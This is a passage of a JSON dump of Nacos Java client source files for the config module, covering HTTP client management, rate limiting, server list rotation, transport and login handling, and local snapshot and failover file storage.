HttpClientBeanHolder.shutdownNacosSyncRest(HTTP_CLIENT_FACTORY.getClass().getName());\n        } catch (Exception ex) {\n            NAMING_LOGGER.error(\"[ConfigHttpClientManager] An exception occurred when the HTTP client was closed : {}\",\n                    ExceptionUtil.getStackTrace(ex));\n        }\n        NAMING_LOGGER.info(\"[ConfigHttpClientManager] Completed destruction of NacosRestTemplate\");\n    }\n    \n    /**\n     * get connectTimeout.\n     *\n     * @param connectTimeout connectTimeout\n     * @return int return max timeout\n     */\n    public int getConnectTimeoutOrDefault(int connectTimeout) {\n        return Math.max(CON_TIME_OUT_MILLIS, connectTimeout);\n    }\n    \n    /**\n     * get NacosRestTemplate Instance.\n     *\n     * @return NacosRestTemplate\n     */\n    public NacosRestTemplate getNacosRestTemplate() {\n        NacosRestTemplate nacosRestTemplate = HttpClientBeanHolder.getNacosRestTemplate(HTTP_CLIENT_FACTORY);\n        List<HttpClientRequestInterceptor> interceptors = nacosRestTemplate.getInterceptors();\n        if (!interceptors.contains(limiterHttpClientRequestInterceptor)) {\n            interceptors.add(limiterHttpClientRequestInterceptor);\n        }\n        return nacosRestTemplate;\n    }\n    \n    /**\n     * ConfigHttpClientFactory.\n     */\n    private static class ConfigHttpClientFactory extends AbstractHttpClientFactory {\n        \n        @Override\n        protected HttpClientConfig buildHttpClientConfig() {\n            return HttpClientConfig.builder().setConTimeOutMillis(CON_TIME_OUT_MILLIS)\n                    .setReadTimeOutMillis(READ_TIME_OUT_MILLIS).build();\n        }\n        \n        @Override\n        protected Logger assignLogger() {\n            return LOGGER;\n        }\n    }\n    \n    /**\n     * config Limiter implement.\n     */\n    private static class LimiterHttpClientRequestInterceptor implements HttpClientRequestInterceptor {\n        \n        @Override\n        public boolean isIntercept(URI uri, String httpMethod, RequestHttpEntity requestHttpEntity) {\n            final String body = requestHttpEntity.isEmptyBody() ? \"\" : JacksonUtils.toJson(requestHttpEntity.getBody());\n            return Limiter.isLimit(MD5Utils.md5Hex(uri + body, Constants.ENCODE));\n        }\n        \n        @Override\n        public HttpClientResponse intercept() {\n            return new LimitResponse();\n        }\n    }\n    \n    /**\n     * Limit Interrupt response.\n     */\n    private static class LimitResponse implements HttpClientResponse {\n        \n        @Override\n        public Header getHeaders() {\n            return Header.EMPTY;\n        }\n        \n        @Override\n        public InputStream getBody() throws IOException {\n            return new ByteArrayInputStream(\"More than client-side current limit threshold\".getBytes(StandardCharsets.UTF_8));\n        }\n        \n        @Override\n        public int getStatusCode() {\n            return NacosException.CLIENT_OVER_THRESHOLD;\n        }\n        \n        @Override\n        public String getStatusText() {\n            return null;\n        }\n        \n        @Override\n        public void close() {\n        \n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigServerListManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Random;\n\n/**\n * Config server list Manager.\n *\n * @author Nacos\n */\npublic class ConfigServerListManager extends AbstractServerListManager {\n    \n    private static final Logger LOGGER = LogUtils.logger(ConfigServerListManager.class);\n    \n    /**\n     * The name of the different environment.\n     */\n    private String name;\n    \n    private String tenant = \"\";\n    \n    private volatile String currentServerAddr;\n    \n    private Iterator<String> iterator;\n    \n    public ConfigServerListManager(NacosClientProperties properties) {\n        super(properties);\n        String namespace = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        if (StringUtils.isNotBlank(namespace)) {\n            this.tenant = namespace;\n        }\n    }\n    \n    @Override\n    protected String getModuleName() {\n        return \"Config\";\n    }\n    \n    @Override\n    protected NacosRestTemplate getNacosRestTemplate() {\n        return ConfigHttpClientManager.getInstance().getNacosRestTemplate();\n    }\n    \n    @Override\n    public void start() throws NacosException {\n        super.start();\n        this.name = initServerName(properties);\n        iterator = iterator();\n        currentServerAddr = iterator.next();\n    }\n    \n    private String initServerName(NacosClientProperties properties) {\n        String serverName;\n        //1.user define server name.\n        if (properties.containsKey(PropertyKeyConst.SERVER_NAME)) {\n            serverName = properties.getProperty(PropertyKeyConst.SERVER_NAME);\n        } else {\n            serverName = getServerName();\n        }\n        serverName = serverName.replaceAll(\"\\\\/\", \"_\");\n        serverName = serverName.replaceAll(\"\\\\:\", \"_\");\n        return serverName;\n    }\n    \n    Iterator<String> iterator() {\n        List<String> serverList = getServerList();\n        if (serverList.isEmpty()) {\n            LOGGER.error(\"[{}] [iterator-serverlist] No server address defined!\", name);\n        }\n        return new ServerAddressIterator(serverList);\n    }\n    \n    @Override\n    public String genNextServer() {\n        if (iterator == null || !iterator.hasNext()) {\n            refreshCurrentServerAddr();\n            return currentServerAddr;\n        }\n        try {\n            return iterator.next();\n        } catch (Exception ignored) {\n        }\n        refreshCurrentServerAddr();\n        return currentServerAddr;\n    }\n    \n    @Override\n    public String getCurrentServer() {\n        if (StringUtils.isBlank(currentServerAddr)) {\n            iterator = iterator();\n            currentServerAddr = iterator.next();\n        }\n        return currentServerAddr;\n    }\n    \n    public String getUrlString() {\n        return getServerList().toString();\n    }\n    \n    @Override\n    public String toString() {\n        return \"ServerManager-\" + name + \"-\" + getUrlString();\n    }\n    \n    public boolean contain(String ip) {\n        return getServerList().contains(ip);\n    }\n    \n    public void refreshCurrentServerAddr() {\n        iterator = iterator();\n        currentServerAddr = iterator.next();\n    }\n    \n    public void updateCurrentServerAddr(String currentServerAddr) {\n        this.currentServerAddr = currentServerAddr;\n    }\n    \n    public Iterator<String> getIterator() {\n        return iterator;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    /**\n     * Sort the address list, with the same room priority.\n     */\n    private static class ServerAddressIterator implements Iterator<String> {\n        \n        static class RandomizedServerAddress implements Comparable<RandomizedServerAddress> {\n            \n            static Random random = new Random();\n            \n            String serverIp;\n            \n            int seed;\n            \n            public RandomizedServerAddress(String ip) {\n                this.serverIp = ip;\n                /*\n                 change random scope from 32 to Integer.MAX_VALUE to fix load balance issue\n                 */\n                this.seed = random.nextInt(Integer.MAX_VALUE);\n            }\n            \n            @Override\n            public int compareTo(RandomizedServerAddress other) {\n                return other.seed - this.seed;\n            }\n        }\n        \n        final List<RandomizedServerAddress> sorted;\n        \n        final Iterator<RandomizedServerAddress> iter;\n        \n        public ServerAddressIterator(List<String> source) {\n            sorted = new ArrayList<>();\n            for (String address : source) {\n                sorted.add(new RandomizedServerAddress(address));\n            }\n            Collections.sort(sorted);\n            iter = sorted.iterator();\n        }\n        \n        @Override\n        public boolean hasNext() {\n            return iter.hasNext();\n        }\n        \n        @Override\n        public String next() {\n            return iter.next().serverIp;\n        }\n    }\n}"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigTransportClient.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * config transport client,include basic operations of config module.\n *\n * @author liuzunfei\n * @version $Id: ConfigTransportClient.java, v 0.1 2020年08月24日 2:01 PM liuzunfei Exp $\n */\npublic abstract class ConfigTransportClient {\n    \n    private static final String CONFIG_INFO_HEADER = \"exConfigInfo\";\n    \n    private static final String DEFAULT_CONFIG_INFO = \"true\";\n    \n    String encode;\n    \n    String tenant;\n    \n    private ThreadPoolExecutor executor;\n    \n    final ConfigServerListManager serverListManager;\n    \n    final Properties properties;\n    \n    private int maxRetry = 3;\n    \n    private final long securityInfoRefreshIntervalMills = TimeUnit.SECONDS.toMillis(5);\n\n    private ScheduledExecutorService loginScheduledExecutor;\n\n    protected SecurityProxy securityProxy;\n\n    /**\n     * Shut down to ensure resource release.\n     */\n    public void shutdown() throws NacosException {\n        securityProxy.shutdown();\n        if (loginScheduledExecutor != null && !loginScheduledExecutor.isShutdown()) {\n            loginScheduledExecutor.shutdown();\n        }\n    }\n    \n    public ConfigTransportClient(NacosClientProperties properties, ConfigServerListManager serverListManager) {\n        \n        String encodeTmp = properties.getProperty(PropertyKeyConst.ENCODE);\n        if (StringUtils.isBlank(encodeTmp)) {\n            this.encode = Constants.ENCODE;\n        } else {\n            this.encode = encodeTmp.trim();\n        }\n        \n        this.tenant = properties.getProperty(PropertyKeyConst.NAMESPACE);\n        this.serverListManager = serverListManager;\n        this.properties = properties.asProperties();\n        this.securityProxy = new SecurityProxy(serverListManager,\n                ConfigHttpClientManager.getInstance().getNacosRestTemplate());\n    }\n    \n    /**\n     * Build the resource for current request.\n     *\n     * @param tenant tenant of config\n     * @param group  group of config\n     * @param dataId dataId of config\n     * @return resource\n     */\n    protected RequestResource buildResource(String tenant, String group, String dataId) {\n        return RequestResource.configBuilder().setNamespace(tenant).setGroup(group).setResource(dataId).build();\n    }\n    \n    protected Map<String, String> getSecurityHeaders(RequestResource resource) throws Exception {\n        return securityProxy.getIdentityContext(resource);\n    }\n    \n    /**\n     * get common header.\n     *\n     * @return headers.\n     */\n    protected Map<String, String> getCommonHeader() {\n        Map<String, String> headers = new HashMap<>(16);\n        \n        String ts = String.valueOf(System.currentTimeMillis());\n        String token = MD5Utils.md5Hex(ts + ClientBasicParamUtil.getAppKey(), Constants.ENCODE);\n        \n        headers.put(Constants.CLIENT_APPNAME_HEADER, AppNameUtils.getAppName());\n        headers.put(Constants.CLIENT_REQUEST_TS_HEADER, ts);\n        headers.put(Constants.CLIENT_REQUEST_TOKEN_HEADER, token);\n        headers.put(CONFIG_INFO_HEADER, DEFAULT_CONFIG_INFO);\n        headers.put(Constants.CHARSET_KEY, encode);\n        return headers;\n    }\n    \n    private void initMaxRetry(Properties properties) {\n        maxRetry = ConvertUtils.toInt(String.valueOf(properties.get(PropertyKeyConst.MAX_RETRY)), Constants.MAX_RETRY);\n    }\n    \n    public void setExecutor(ThreadPoolExecutor executor) {\n        this.executor = executor;\n    }\n    \n    public ThreadPoolExecutor getExecutor() {\n        return this.executor;\n    }\n    \n    /**\n     * base start client.\n     */\n    public void start() throws NacosException {\n        securityProxy.login(this.properties);\n        this.loginScheduledExecutor =\n                Executors.newSingleThreadScheduledExecutor(new NameThreadFactory(\"com.alibaba.nacos.client.login-executor\"));\n        this.loginScheduledExecutor.scheduleWithFixedDelay(() -> securityProxy.login(properties), 0,\n                this.securityInfoRefreshIntervalMills, TimeUnit.MILLISECONDS);\n        startInternal();\n    }\n    \n    public void reLogin() {\n        securityProxy.reLogin();\n    }\n    \n    /**\n     * start client inner.\n     *\n     * @throws NacosException exception may throw.\n     */\n    public abstract void startInternal() throws NacosException;\n    \n    /**\n     * get client name.\n     *\n     * @return name.\n     */\n    public abstract String getName();\n    \n    /**\n     * get encode.\n     *\n     * @return encode.\n     */\n    public String getEncode() {\n        return this.encode;\n    }\n    \n    /**\n     * get tenant.\n     *\n     * @return tenant.\n     */\n    public String getTenant() {\n        return this.tenant;\n    }\n    \n    /**\n     * notify listen config.\n     **/\n    public abstract void notifyListenConfig();\n    \n    /**\n     * listen change .\n     *\n     * @throws NacosException nacos exception throws, should retry.\n     */\n    public abstract void executeConfigListen() throws NacosException;\n    \n    /**\n     * remove cache implements.\n     *\n     * @param dataId dataId.\n     * @param group  group\n     */\n    public abstract void removeCache(String dataId, String group);\n    \n    /**\n     * query config.\n     *\n     * @param dataId      dataId.\n     * @param group       group.\n     * @param tenat       tenat.\n     * @param readTimeous readTimeous.\n     * @param notify      query for notify sync.\n     * @return content.\n     * @throws NacosException throw where query fail .\n     */\n    public abstract ConfigResponse queryConfig(String dataId, String group, String tenat, long readTimeous,\n            boolean notify) throws NacosException;\n    \n    /**\n     * publish config.\n     *\n     * @param dataId           dataId.\n     * @param group            group.\n     * @param tenant           tenant.\n     * @param appName          appName.\n     * @param tag              tag.\n     * @param betaIps          betaIps.\n     * @param content          content.\n     * @param encryptedDataKey encryptedDataKey\n     * @param casMd5           casMd5.\n     * @param type             type.\n     * @return success or not.\n     * @throws NacosException throw where publish fail.\n     */\n    public abstract boolean publishConfig(String dataId, String group, String tenant, String appName, String tag,\n            String betaIps, String content, String encryptedDataKey, String casMd5, String type) throws NacosException;\n    \n    /**\n     * remove config.\n     *\n     * @param dataid dataid.\n     * @param group  group.\n     * @param tenat  tenat.\n     * @param tag    tag.\n     * @return success or not.\n     * @throws NacosException throw where publish fail.\n     */\n    public abstract boolean removeConfig(String dataid, String group, String tenat, String tag) throws NacosException;\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/Limiter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.google.common.cache.Cache;\nimport com.google.common.cache.CacheBuilder;\nimport com.google.common.util.concurrent.RateLimiter;\nimport org.slf4j.Logger;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Limiter.\n *\n * @author Nacos\n */\npublic class Limiter {\n    \n    private static final Logger LOGGER = LogUtils.logger(Limiter.class);\n    \n    private static final int CAPACITY_SIZE = 1000;\n    \n    private static final int LIMIT_TIME = 1000;\n    \n    private static final Cache<String, RateLimiter> CACHE = CacheBuilder.newBuilder().initialCapacity(CAPACITY_SIZE)\n            .expireAfterAccess(1, TimeUnit.MINUTES).build();\n    \n    private static final String LIMIT_TIME_PROPERTY = \"limitTime\";\n    \n    /**\n     * qps 5.\n     */\n    private static double limit = 5;\n    \n    static {\n        try {\n            String limitTimeStr = NacosClientProperties.PROTOTYPE.getProperty(LIMIT_TIME_PROPERTY, String.valueOf(limit));\n            limit = Double.parseDouble(limitTimeStr);\n            LOGGER.info(\"limitTime:{}\", limit);\n        } catch (Exception e) {\n            LOGGER.error(\"init limitTime fail\", e);\n        }\n    }\n    \n    /**\n     * Judge whether access key is limited.\n     *\n     * @param accessKeyId access key\n     * @return true if is limited, otherwise false\n     */\n    public static boolean isLimit(String accessKeyId) {\n        RateLimiter rateLimiter = null;\n        try {\n            rateLimiter = CACHE.get(accessKeyId, () -> RateLimiter.create(limit));\n        } catch (Exception e) {\n            LOGGER.error(\"create limit fail\", e);\n        }\n        if (rateLimiter != null && !rateLimiter.tryAcquire(LIMIT_TIME, TimeUnit.MILLISECONDS)) {\n            LOGGER.error(\"access_key_id:{} limited\", accessKeyId);\n            return true;\n        }\n        return false;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/LocalConfigInfoProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.client.utils.ConcurrentDiskUtil;\nimport com.alibaba.nacos.client.config.utils.JvmUtil;\nimport com.alibaba.nacos.client.config.utils.SnapShotSwitch;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport static com.alibaba.nacos.client.utils.ParamUtil.simplyEnvNameIfOverLimit;\n\n/**\n * Local Disaster Recovery Directory Tool.\n *\n * @author Nacos\n */\npublic class LocalConfigInfoProcessor {\n    \n    private static final Logger LOGGER = LogUtils.logger(LocalConfigInfoProcessor.class);\n    \n    public static final String LOCAL_SNAPSHOT_PATH;\n    \n    private static final String SUFFIX = \"_nacos\";\n    \n    private static final String ENV_CHILD = \"snapshot\";\n    \n    private static final String FAILOVER_FILE_CHILD_1 = \"data\";\n    \n    private static final String FAILOVER_FILE_CHILD_2 = \"config-data\";\n    \n    private static final String FAILOVER_FILE_CHILD_3 = \"config-data-tenant\";\n    \n    private static final String SNAPSHOT_FILE_CHILD_1 = \"snapshot\";\n    \n    private static final String SNAPSHOT_FILE_CHILD_2 = \"snapshot-tenant\";\n    \n    static {\n        LOCAL_SNAPSHOT_PATH = NacosClientProperties.PROTOTYPE.getProperty(com.alibaba.nacos.client.constant.Constants.SysEnv.JM_SNAPSHOT_PATH,\n                NacosClientProperties.PROTOTYPE.getProperty(com.alibaba.nacos.client.constant.Constants.SysEnv.USER_HOME)) + File.separator\n                + \"nacos\" + File.separator + \"config\";\n        LOGGER.info(\"LOCAL_SNAPSHOT_PATH:{}\", LOCAL_SNAPSHOT_PATH);\n    }\n    \n    public static String getFailover(String serverName, String dataId, String group, String tenant) {\n        File localPath = getFailoverFile(serverName, dataId, group, tenant);\n        if (!localPath.exists() || !localPath.isFile()) {\n            return null;\n        }\n        \n        try {\n            return readFile(localPath);\n        } catch (IOException ioe) {\n            LOGGER.error(\"[\" + serverName + \"] get failover error, \" + localPath, ioe);\n            return null;\n        }\n    }\n    \n    /**\n     * get snapshot file content. NULL means no local file or throw exception.\n     */\n    public static String getSnapshot(String name, String dataId, String group, String tenant) {\n        if (!SnapShotSwitch.getIsSnapShot()) {\n            return null;\n        }\n        File file = getSnapshotFile(name, dataId, group, tenant);\n        if (!file.exists() || !file.isFile()) {\n            return null;\n        }\n        \n        try {\n            return readFile(file);\n        } catch (IOException ioe) {\n            LOGGER.error(\"[\" + name + \"]+get snapshot error, \" + file, ioe);\n            return null;\n        }\n    }\n    \n    protected static String readFile(File file) throws IOException {\n        if (!file.exists() || !file.isFile()) {\n            return null;\n        }\n        \n        if (JvmUtil.isMultiInstance()) {\n            return ConcurrentDiskUtil.getFileContent(file, Constants.ENCODE);\n        } else {\n            try (InputStream is = new FileInputStream(file)) {\n                return IoUtils.toString(is, Constants.ENCODE);\n            }\n        }\n    }\n    \n    /**\n     * Save snapshot.\n     *\n     * @param envName env name\n     * @param dataId  data id\n     * @param group   group\n     * @param tenant  tenant\n     * @param config  config\n     */\n    public static void saveSnapshot(String envName, String dataId, String group, String tenant, String config) {\n        if (!SnapShotSwitch.getIsSnapShot()) {\n            return;\n        }\n        File file = getSnapshotFile(envName, dataId, group, tenant);\n        if (null == config) {\n            try {\n                IoUtils.delete(file);\n            } catch (IOException ioe) {\n                LOGGER.error(\"[\" + envName + \"] delete snapshot error, \" + file, ioe);\n            }\n        } else {\n            try {\n                File parentFile = file.getParentFile();\n                if (!parentFile.exists()) {\n                    boolean isMdOk = parentFile.mkdirs();\n                    if (!isMdOk) {\n                        LOGGER.error(\"[{}] save snapshot error\", envName);\n                    }\n                }\n                \n                if (JvmUtil.isMultiInstance()) {\n                    ConcurrentDiskUtil.writeFileContent(file, config, Constants.ENCODE);\n                } else {\n                    IoUtils.writeStringToFile(file, config, Constants.ENCODE);\n                }\n            } catch (IOException ioe) {\n                LOGGER.error(\"[\" + envName + \"] save snapshot error, \" + file, ioe);\n            }\n        }\n    }\n    \n    /**\n     * clear the cache files under snapshot directory.\n     */\n    public static void cleanAllSnapshot() {\n        try {\n            File rootFile = new File(LOCAL_SNAPSHOT_PATH);\n            File[] files = rootFile.listFiles();\n            if (files == null || files.length == 0) {\n                return;\n            }\n            for (File file : files) {\n                if (file.getName().endsWith(SUFFIX)) {\n                    IoUtils.cleanDirectory(file);\n                }\n            }\n        } catch (IOException ioe) {\n            LOGGER.error(\"clean all snapshot error, \" + ioe.toString(), ioe);\n        }\n    }\n    \n    /**\n     * Clean snapshot.\n     *\n     * @param envName env name\n     */\n    public static void cleanEnvSnapshot(String envName) {\n        File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + SUFFIX);\n        tmp = new File(tmp, ENV_CHILD);\n        try {\n            IoUtils.cleanDirectory(tmp);\n            LOGGER.info(\"success delete {}-snapshot\", envName);\n        } catch (IOException e) {\n            LOGGER.warn(\"fail delete {}-snapshot, exception: \", envName, e);\n        }\n    }\n    \n    static File getFailoverFile(String serverName, String dataId, String group, String tenant) {\n        serverName = simplyEnvNameIfOverLimit(serverName);\n        File tmp = new File(LOCAL_SNAPSHOT_PATH, serverName + SUFFIX);\n        tmp = new File(tmp, FAILOVER_FILE_CHILD_1);\n        if (StringUtils.isBlank(tenant)) {\n            tmp = new File(tmp, FAILOVER_FILE_CHILD_2);\n        } else {\n            tmp = new File(tmp, FAILOVER_FILE_CHILD_3);\n            tmp = new File(tmp, tenant);\n        }\n        return new File(new File(tmp, group), dataId);\n    }\n    \n    static File getSnapshotFile(String envName, String dataId, String group, String tenant) {\n        envName = simplyEnvNameIfOverLimit(envName);\n        File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + SUFFIX);\n        if (StringUtils.isBlank(tenant)) {\n            tmp = new File(tmp, SNAPSHOT_FILE_CHILD_1);\n        } else {\n            tmp = new File(tmp, SNAPSHOT_FILE_CHILD_2);\n            tmp = new File(tmp, tenant);\n        }\n        \n        return new File(new File(tmp, group), dataId);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/LocalEncryptedDataKeyProcessor.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.client.utils.ConcurrentDiskUtil;\nimport com.alibaba.nacos.client.config.utils.JvmUtil;\nimport com.alibaba.nacos.client.config.utils.SnapShotSwitch;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.slf4j.Logger;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport static com.alibaba.nacos.client.utils.ParamUtil.simplyEnvNameIfOverLimit;\n\n/**\n * Encrypted data key (EncryptedDataKey) local snapshot, disaster recovery directory related.\n *\n * @author luyanbo(RobberPhex)\n */\npublic class LocalEncryptedDataKeyProcessor extends LocalConfigInfoProcessor {\n    \n    private static final Logger LOGGER = LogUtils.logger(LocalEncryptedDataKeyProcessor.class);\n    \n    private static final String FAILOVER_CHILD_1 = \"encrypted-data-key\";\n    \n    private static final String FAILOVER_CHILD_2 = \"failover\";\n    \n    private static final String FAILOVER_CHILD_3 = \"failover-tenant\";\n    \n    private static final String SNAPSHOT_CHILD_1 = \"encrypted-data-key\";\n    \n    private static final String SNAPSHOT_CHILD_2 = \"snapshot\";\n    \n    private static final String SNAPSHOT_CHILD_3 = \"snapshot-tenant\";\n    \n    private static final String SUFFIX = \"_nacos\";\n    \n    /**\n     * Obtain the EncryptedDataKey of the disaster recovery configuration. NULL means there is no local file or an\n     * exception is thrown.\n     */\n    public static String getEncryptDataKeyFailover(String envName, String dataId, String group, String tenant) {\n        envName = simplyEnvNameIfOverLimit(envName);\n        File file = getEncryptDataKeyFailoverFile(envName, dataId, group, tenant);\n        if (!file.exists() || !file.isFile()) {\n            return null;\n        }\n        \n        try {\n            return readFile(file);\n        } catch (IOException ioe) {\n            LOGGER.error(\"[\" + envName + \"] get failover error, \" + file, ioe);\n            return null;\n        }\n    }\n    \n    /**\n     * Get the EncryptedDataKey of the locally cached file. NULL means there is no local file or an exception is\n     * thrown.\n     */\n    public static String getEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant) {\n        \n        if (!SnapShotSwitch.getIsSnapShot()) {\n            return null;\n        }\n        File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);\n        if (!file.exists() || !file.isFile()) {\n            return null;\n        }\n        \n        try {\n            return readFile(file);\n        } catch (IOException ioe) {\n            LOGGER.error(\"[\" + envName + \"] get snapshot error, \" + file, ioe);\n            return null;\n        }\n    }\n    \n    /**\n     * Save the snapshot of encryptDataKey. If the content is NULL, delete the snapshot.\n     */\n    public static void saveEncryptDataKeySnapshot(String envName, String dataId, String group, String tenant,\n            String encryptDataKey) {\n        if (!SnapShotSwitch.getIsSnapShot()) {\n            return;\n        }\n        File file = getEncryptDataKeySnapshotFile(envName, dataId, group, tenant);\n        try {\n            if (null == encryptDataKey) {\n                try {\n                    IoUtils.delete(file);\n                } catch (IOException ioe) {\n                    LOGGER.error(\"[\" + envName + \"] delete snapshot error, \" + file, ioe);\n                }\n            } else {\n                File parentFile = file.getParentFile();\n                if (!parentFile.exists()) {\n                    boolean isMdOk = parentFile.mkdirs();\n                    if (!isMdOk) {\n                        LOGGER.error(\"[{}] save snapshot error\", envName);\n                    }\n                }\n                if (JvmUtil.isMultiInstance()) {\n                    ConcurrentDiskUtil.writeFileContent(file, encryptDataKey, Constants.ENCODE);\n                } else {\n                    IoUtils.writeStringToFile(file, encryptDataKey, Constants.ENCODE);\n                }\n            }\n        } catch (IOException ioe) {\n            LOGGER.error(\"[\" + envName + \"] save snapshot error, \" + file, ioe);\n        }\n    }\n    \n    private static File getEncryptDataKeyFailoverFile(String envName, String dataId, String group, String tenant) {\n        envName = simplyEnvNameIfOverLimit(envName);\n        \n        File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + SUFFIX);\n        tmp = new File(tmp, FAILOVER_CHILD_1);\n        \n        if (StringUtils.isBlank(tenant)) {\n            tmp = new File(tmp, FAILOVER_CHILD_2);\n        } else {\n            tmp = new File(tmp, FAILOVER_CHILD_3);\n            tmp = new File(tmp, tenant);\n        }\n        \n        return new File(new File(tmp, group), dataId);\n    }\n    \n    private static File getEncryptDataKeySnapshotFile(String envName, String dataId, String group, String tenant) {\n        envName = simplyEnvNameIfOverLimit(envName);\n        \n        File tmp = new File(LOCAL_SNAPSHOT_PATH, envName + SUFFIX);\n        tmp = new File(tmp, SNAPSHOT_CHILD_1);\n        \n        if (StringUtils.isBlank(tenant)) {\n            tmp = new File(tmp, SNAPSHOT_CHILD_2);\n        } else {\n            tmp = new File(tmp, SNAPSHOT_CHILD_3);\n            tmp = new File(tmp, tenant);\n        }\n        \n        return new File(new File(tmp, group), dataId);\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/PropertiesChangeParser.java",
